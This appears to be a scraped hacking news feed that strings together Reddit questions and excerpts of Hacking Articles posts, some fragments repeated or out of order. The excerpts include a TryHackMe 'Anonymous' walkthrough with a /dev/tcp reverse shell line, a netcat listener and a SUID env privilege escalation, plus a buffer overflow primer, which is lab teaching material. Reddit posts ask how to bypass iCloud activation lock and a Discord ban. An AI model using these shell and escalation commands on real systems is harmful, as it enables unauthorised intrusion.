Dark Reading: Attacks/Breaches
Wanted: The (Elusive) Cybersecurity 'All-Star'

Separate workforce studies by (ISC) 2 and ISACA point to the need for security departments to work with existing staff to identify needs and bring entry-level people into the field.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone can direct me to how I can unlink an iPhonr from it's apple ID/iCloud etc without knowing the password?

iPhone 12 pro max

Thank you

submitted by /u/Nand-X
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bypassing Ban

Is there any way I could bypass a Dyno ban on Discord? I got banned for trolling and i tried everything ranging from VPN to IP change. But I yet cannot get unbanned by Dyno.

submitted by /u/Crypthonix
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Someone published something in a website, but it's not available to see until 15:00 tomorrow, is there a way to see it before?

The title.

submitted by /u/Rararasputin16
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Anonymous TryHackMe Walkthrough

Today it is time to solve another challenge called “Anonymous”. It is available at TryHackMe for penetration testing practice. This challenge is of medium difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The credit for making this

The post Anonymous TryHackMe Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Wireshark for Pentester: Decrypting RDP Traffic

Over the last few years, attackers used the Remote Desktop Protocol (RDP) for accessing unsecured servers and company networks. In ransomware malware attacks since 2017, RDP has become a major vector. Security professionals have focused their attention increasingly on this protocol by writing signatures to detect and prevent attacks of

The post Wireshark for Pentester: Decrypting RDP Traffic appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
A Beginner’s Guide to Buffer Overflow

In this guide, we are going to learn about what is a buffer overflow and how it occurs? Buffer Overflow occurs by overwriting memory fragments of a process or program. Overwriting values of certain pointers and registers of the process causes segmentation faults which cause several errors resulting in termination

The post A Beginner’s Guide to Buffer Overflow appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Anonymous TryHackMe Walkthrough

Today it is time to solve another challenge called “Anonymous”. It is available at TryHackMe for penetration testing practice. This challenge is of medium difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The credit for making this machine goes to Nameless0ne. The breakdown of the Machine with the redacted flags is as follow: Level: Medium· Network Scanning· Nmap ScanEnumeration· Enumerating FTP ServiceExploitation· Uploading Reverse Shell Script on FTPPrivilege Escalation· Enumerating for SUID bitsWalkthroughThere are two flags in this machine to discover. After Booting up the target machine from the TryHackMe: Anonymous Page, An IP will be assigned to the machine and will be visible on that page as well.IP Address: 10.10.3.52Apart from the two flags, four questions are required as well to complete this machine. You can find the questions as the answers are discovered below.Network ScanningTo begin, it is required to gain information about the various services running of different ports on the machine. Nmap is used for scanning for those using the -sC and -sV flag. They are used for performing a Default Scripts scan as well as to find the Versions of the services enumerated respectively.nmap -sC -sV 10.10.3.52https://1.bp.blogspot.com/-yNtKczjsMCA/YJLjV6boynI/AAAAAAAAv1A/0YZQ9jiIK20Yg2AAvnrc1aIkbuGX8UimACLcBGAsYHQ/s16000/1.png Nmap detected FTP service running on port 21, SSH service on port 22, SMB on port 139 and 445. The Nmap also detected that Anonymous Login is also enabled on the application that makes it accessible right away. Q.1. Enumerate the machine. How many ports are open?EnumerationLogging into FTP, a scripts directory was found. The scripts directory contained a shell script called clean.sh, A log file by the name of removed_files.log and a text file named to_do.txt. All of these files were downloaded to the Local Kali Linux Machine for further investigation.ftp 10.10.3.52https://1.bp.blogspot.com/-wv9XbABOXDo/YJLkRO_UwlI/AAAAAAAAv1I/TkjMTChh3UUQG7y4V9J5QbjdSmdgN_nHwCLcBGAsYHQ/s16000/2.png The to_do.txt file was a reminder for disabling Anonymous Login. It is not useful from the attacker’s perspective. The removed_files.log file contained logs from the clean-up script indicating that there is nothing to delete. cat to_do.txthttps://1.bp.blogspot.com/-TxIkfg5HgAM/YJLkU5YeaPI/AAAAAAAAv1M/MdVFNUTnGSIZ7GEExCV15JEOqtMU4Sf-ACLcBGAsYHQ/s16000/3.png The clean. sh script is a shell scripts that seemed to perform log entries and delete files from the /tmp/ directory. cat clean.shhttps://1.bp.blogspot.com/-eeV_9iZuPA0/YJLkY4cMMMI/AAAAAAAAv1Q/fI8Z84hGDPMSHwE-ls6KjaM6cKDXJatXQCLcBGAsYHQ/s16000/4.png With nothing more to enumerate from the FTP service, the e[...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
A Beginner’s Guide to Buffer Overflow

In this guide, we are going to learn about what is a buffer overflow and how it occurs? Buffer Overflow occurs by overwriting memory fragments of a process or program. Overwriting values of certain pointers and registers of the process causes segmentation faults which cause several errors resulting in termination of the program execution in an unusual way. Table of Content · What is Buffer Overflow?· Types of Buffer Overflowo Stack Buffer OverflowStack Buffer Overflow Attack· How Stack Buffer Overflow Occurs?· Windows Buffer Overflow Attacko Pre-Requisites for Demonstration

· Conclusion

Buffers are memory allocations that are volatile, they temporarily hold the data while transferring data from one location to another. A buffer overflow occurs when the data being processed exceeds the storing capacity of the memory buffer. This results in the program overwriting oversized data in the adjacent memory locations which lead to overflow of the buffer. A buffer overflow occurs when we operate on buffers of char type. Types of Buffer OverflowThere are two types of Buffer Overflow. Let us discuss a short introduction about the both.Stack Buffer Overflows/Vanilla Buffer OverflowIt occurs when a program overwrites to a memory address on the program’s call stack outside of the buffer boundary which has a fixed length. In stack buffer overflow the extra data is written in adjacent buffers located on the stack. This usually results in the crashing of the application because of errors related to memory corruption caused in the overflown adjacent memory locations on the stack. Heap Buffer OverflowHeap is a memory structure that is used to manage dynamic memory allocations. It is often used to allocate memory whose size is unknown at the time of compilation where the volume of memory required is so big that it cannot be fitted on the stack. A heap overflow or overrun is a type of buffer overflow that occurs in the heap data area. The exploitation of heap-based overflows is different from stack-based overflow exploitations. Memory on the heap is dynamically a[...]

___________________________
@hacking_Attack
@Hacking_Video

numeration of SMB service was initiated. Smbclient was used to perform an Anonymous login on the Target Machine. It had a share by the name of pics. When accessed, the pics share contained two images: corgo2.jpg and puppos.jpeg. Both of those images were downloaded to the local Kali Machine.smbclient -L \\anonymous -I 10.10.3.52https://1.bp.blogspot.com/-J1W9xDzBXWg/YJLkd75zRgI/AAAAAAAAv1U/coJjBcUZJYkMDWcdMPRZpXhFjc_LYpXjwCLcBGAsYHQ/s16000/5.png Q.4. There's a share on the user's computer. What's it called?After opening the image files, it was clear that SMB was supposed to be a rabbit hole. Both images are not important from the attacker’s perspective. ExploitationBack to the FTP service, it was detected that it was possible to upload files in the scripts directory. This meant that the attacker can create a clean.sh script with reverse shellcode inside it and then replace it with the one that is currently located on the target machine and then wait for the script to get executed. nano clean.sh& /dev/tcp/10.10.120.144/1234 0>&1https://1.bp.blogspot.com/-8de0PjtAXvE/YJLkkoWmLBI/AAAAAAAAv1k/d1bJCfs2Fic22jDk9LObbsbwtNtrkCttgCLcBGAsYHQ/s16000/7.png Before uploading the script, a netcat listener was started on the Local Kali Machine to capture the shell that would be invoked after the clean.sh script gets executed on the target machine. The port number mentioned inside the reverse shell script must be used while invoking the netcat listener. After connecting to the FTP service, the clean.sh script was replaced using the put command. ftp 10.10.3.52https://1.bp.blogspot.com/-X1uAT1IlJ1I/YJLkw1GGHbI/AAAAAAAAv1s/wNkaBQzNyM0OXR6qEg4vemJYrP8M4KypwCLcBGAsYHQ/s16000/8.png The netcat listener captured the reverse shell that was generated due to the execution of the clean.sh script on the target machine. The session generated belonged to the namelessone user on the target machine. After listing the contents of the user’s home directory, the user.txt flag was found. nc -lvp 1234https://1.bp.blogspot.com/-RV1FgeBEcaw/YJLk17fqWeI/AAAAAAAAv1w/MFLsocenlEwds9EUi6xxDLVE1k51Ssg2wCLcBGAsYHQ/s16000/9.png Privilege EscalationThe Post Exploitation Enumeration to find the methods to elevate the privilege on the access started with enumerating the SUID bits. Find command is used for this kind of enumeration. It was observed that /usr/bin/env was assigned to SUID. It meant it can be used to exploit the machine and get elevated access. find / -perm -u=s 2>/dev/nullhttps://1.bp.blogspot.com/-I2XQWGOynqg/YJLk9S_nRkI/AAAAAAAAv14/z6LiriN3c-8FfhMzALwnuIs3CalrG3VoACLcBGAsYHQ/s16000/10.png /usr/bin/env /bin/sh -phttps://1.bp.blogspot.com/-A41nFMZnqvo/YJLlHQvWkBI/AAAAAAAAv2I/KTph6l7uy2YF0WK1A[...]

___________________________
@hacking_Attack
@Hacking_Video

llocated at the runtime and typically contains program data. Exploitation is done by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers.Stack Buffer Overflow Attack The most common Buffer Overflow attack known as the stack-based buffer overflow or vanilla buffer overflow attack consist of a stack is usually empty until and unless the program requires user input like a username or password. The program then writes a return memory address to the stack and then the user’s input is stored on top of it. While the stack is processed, the user’s input is sent to the return address specified by the program.

How Stack Buffer Overflow occurs Stack-based Buffer Overflows occurrence can be understood with the help of an example. We will be using a very simple C++ program to demonstrate stack-based buffer overflow/overrun.#include >buffer;In the above code, we used a character type variable and created an array named “buffer” which can store up to 8 bytes of data. This program waits for user input upon execution. Once a user puts data in the input field, the application stores the value in the allocated memory of 8 bytes. If the data supplied by the user is greater than 8 bytes, then it overwrites the adjacent memory locations resulting in termination of the process.___________________________
@hacking_Attack
@Hacking_Video

HItASIMUecxcdKUQCLcBGAsYHQ/s16000/12.png

___________________________
@hacking_Attack
@Hacking_Video

r-supplied input data was 14 bytes. These extra 6 bytes surpassed the buffer boundary overwriting the adjacent memory locations present in the stack. This created a segmentation fault resulting in stack smashing error.Windows Buffer Overflow Attack Pre-Requisites for Demonstrationdostackbufferoverflowgood.exeTesting/Analysis Machine: Microsoft Windows 10 1903Attacker Machine: Kali Linux 2020.1Debugger used: Immunity Debugger Immunity DebuggerImmunity Debugger is a tool that we can use for malware analysis, exploit writing and reverse engineering binary files. In this practical, we will use Immunity Debugger to see how buffer overflow occurs in a binary by analyzing the registers, hex values, memory addresses, etc. FuzzingFuzzing is a technique that is usually used in Black Box testing. In fuzzing some data is supplied in an automated fashion to the application to trigger the implementation bugs. This automation is done by a Fuzzer. ___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
A Beginner’s Guide to Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows 10 with Kali

https://cdn-images-1.medium.com/max/698/0*WyQsBydrDXmGE-aD.png
Do you use Kali? Do you use it with VMWare or Virtual Box? Do you know that you can use Kali without using any programs above? If not you…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video